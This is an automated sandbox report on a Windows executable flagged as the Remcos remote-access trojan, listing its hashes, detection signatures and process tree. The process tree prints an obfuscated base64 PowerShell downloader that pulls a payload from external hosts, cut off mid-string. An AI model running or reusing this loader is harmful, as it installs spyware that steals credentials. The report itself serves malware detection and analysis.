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Windows
Analysis Report
6706e721f2c06.exe
Overview
General Information
| Sample name: | 6706e721f2c06.exe |
| Analysis ID: | 1530744 |
| MD5: | 9d26cee91cd86b11808a161681be9f85 |
| SHA1: | f0334a5e2d01bbaf5bdb4a103bf9504dad218f85 |
| SHA256: | c3dee07cba853e66489d883ef5bcc094ea32861828ebfcde773e7527726be35c |
| Infos: |   |
 | |
Detection
Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Drops script at startup location
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Sigma detected: Remcos
Sigma detected: Search for Antivirus process
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Drops PE files with a suspicious file extension
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
6706e721f2c06.exe (PID: 7372 cmdline: "C:\Users\ user\Deskt op\6706e72 1f2c06.exe " MD5: 9D26CEE91CD86B11808A161681BE9F85) 
cmd.exe (PID: 7440 cmdline: cmd.exe /c 6706e721f 2c06.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7448 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
wscript.exe (PID: 7512 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\IX P000.TMP\6 706e721f2c 06.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7560 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$codigo = 'WwBO#GU# d##u#FM#ZQ By#HY#aQBj #GU#U#Bv#G k#bgB0#E0# YQBu#GE#Zw Bl#HI#XQ#6 #Do#UwBl#G M#dQBy#Gk# d#B5#F##cg Bv#HQ#bwBj #G8#b##g#D 0#I#Bb#E4# ZQB0#C4#Uw Bl#GM#dQBy #Gk#d#B5#F ##cgBv#HQ# bwBj#G8#b# BU#Hk#c#Bl #F0#Og#6#F Q#b#Bz#DE# Mg#N##o#I# #g#C##I##g #C##I##g#C ##I##g#C## ZgB1#G4#Yw B0#Gk#bwBu #C##R#Bv#H c#bgBs#G8# YQBk#EQ#YQ B0#GE#RgBy #G8#bQBM#G k#bgBr#HM# I#B7#C##c# Bh#HI#YQBt #C##K#Bb#H M#d#By#Gk# bgBn#Fs#XQ Bd#CQ#b#Bp #G4#awBz#C k#I##N##o# I##g#C##I# #g#C##I##g #C##I##g#C ##J#B3#GU# YgBD#Gw#aQ Bl#G4#d##g #D0#I#BO#G U#dw#t#E8# YgBq#GU#Yw B0#C##UwB5 #HM#d#Bl#G 0#LgBO#GU# d##u#Fc#ZQ Bi#EM#b#Bp #GU#bgB0#D s#I##N##o# I##g#C##I# #g#C##I##g #C##I##g#C ##J#Bz#Gg# dQBm#GY#b# Bl#GQ#T#Bp #G4#awBz#C ##PQ#g#Ec# ZQB0#C0#Ug Bh#G4#Z#Bv #G0#I##t#E k#bgBw#HU# d#BP#GI#ag Bl#GM#d##g #CQ#b#Bp#G 4#awBz#C## LQBD#G8#dQ Bu#HQ#I##k #Gw#aQBu#G s#cw#u#Ew# ZQBu#Gc#d# Bo#Ds#I##N ##o#I##g#C ##I##g#C## I##g#C##I# #g#C##ZgBv #HI#ZQBh#G M#a##g#Cg# J#Bs#Gk#bg Br#C##aQBu #C##J#Bz#G g#dQBm#GY# b#Bl#GQ#T# Bp#G4#awBz #Ck#I#B7#C ##d#By#Hk# I#B7#C##cg Bl#HQ#dQBy #G4#I##k#H c#ZQBi#EM# b#Bp#GU#bg B0#C4#R#Bv #Hc#bgBs#G 8#YQBk#EQ# YQB0#GE#K# #k#Gw#aQBu #Gs#KQ#g#H 0#I#Bj#GE# d#Bj#Gg#I# B7#C##YwBv #G4#d#Bp#G 4#dQBl#C## fQ#g#H0#Ow #g##0#Cg#g #C##I##g#C ##I##g#C## I##g#C##I# By#GU#d#B1 #HI#bg#g#C Q#bgB1#Gw# b##g#H0#Ow #g##0#Cg#g #C##I##g#C ##I##g#C## I##g#C##I# #k#Gw#aQBu #Gs#cw#g#D 0#I#B##Cg# JwBo#HQ#d# Bw#HM#Og#v #C8#YgBp#H Q#YgB1#GM# awBl#HQ#Lg Bv#HI#Zw#v #Gc#Z#Bm#G Y#ZgBm#GY# ZgBm#GY#Lw Bk#GQ#Z#Bk #GQ#LwBk#G 8#dwBu#Gw# bwBh#GQ#cw #v#Gk#bQBn #F8#d#Bl#H M#d##u#Go# c#Bn#D8#MQ #x#Dg#MQ#x #Dc#Mw#1#C c#L##g#Cc# a#B0#HQ#c# Bz#Do#Lw#v #HI#YQB3#C 4#ZwBp#HQ# a#B1#GI#dQ Bz#GU#cgBj #G8#bgB0#G U#bgB0#C4# YwBv#G0#Lw Bz#GE#bgB0 #G8#bQBh#G w#bw#v#GE# dQBk#Gk#d# #v#G0#YQBp #G4#LwBp#G 0#ZwBf#HQ# ZQBz#HQ#Lg Bq#H##Zw#/ #DE#N##0#D Q#MQ#3#DI# Mw#n#Ck#Ow #N##o#I##g #C##I##g#C ##I##g#C## I##g#C##I# #k#Gk#bQBh #Gc#ZQBC#H k#d#Bl#HM# I##9#C##R# Bv#Hc#bgBs #G8#YQBk#E Q#YQB0#GE# RgBy#G8#bQ BM#Gk#bgBr #HM#I##k#G w#aQBu#Gs# cw#7##0#Cg #g#C##I##g #C##I##g#C ##I##g#C## I##g#Gk#Zg #g#Cg#J#Bp #G0#YQBn#G U#QgB5#HQ# ZQBz#C##LQ Bu#GU#I##k #G4#dQBs#G w#KQ#g#Hs# I##k#Gk#bQ Bh#Gc#ZQBU #GU#e#B0#C ##PQ#g#Fs# UwB5#HM#d# Bl#G0#LgBU #GU#e#B0#C 4#RQBu#GM# bwBk#Gk#bg Bn#F0#Og#6 #FU#V#BG#D g#LgBH#GU# d#BT#HQ#cg Bp#G4#Zw#o #CQ#aQBt#G E#ZwBl#EI# eQB0#GU#cw #p#Ds#DQ#K #C##I##g#C ##I##g#C## I##g#C##I# #g#C##J#Bz #HQ#YQBy#H Q#RgBs#GE# Zw#g#D0#I# #n#Dw#P#BC #EE#UwBF#D Y#N#Bf#FM# V#BB#FI#V# #+#D4#Jw#7 #C##J#Bl#G 4#Z#BG#Gw# YQBn#C##PQ #g#Cc#P##8 #EI#QQBT#E U#Ng#0#F8# RQBO#EQ#Pg #+#Cc#Ow#g #CQ#cwB0#G E#cgB0#Ek# bgBk#GU#e# #g#D0#I##k #Gk#bQBh#G c#ZQBU#GU#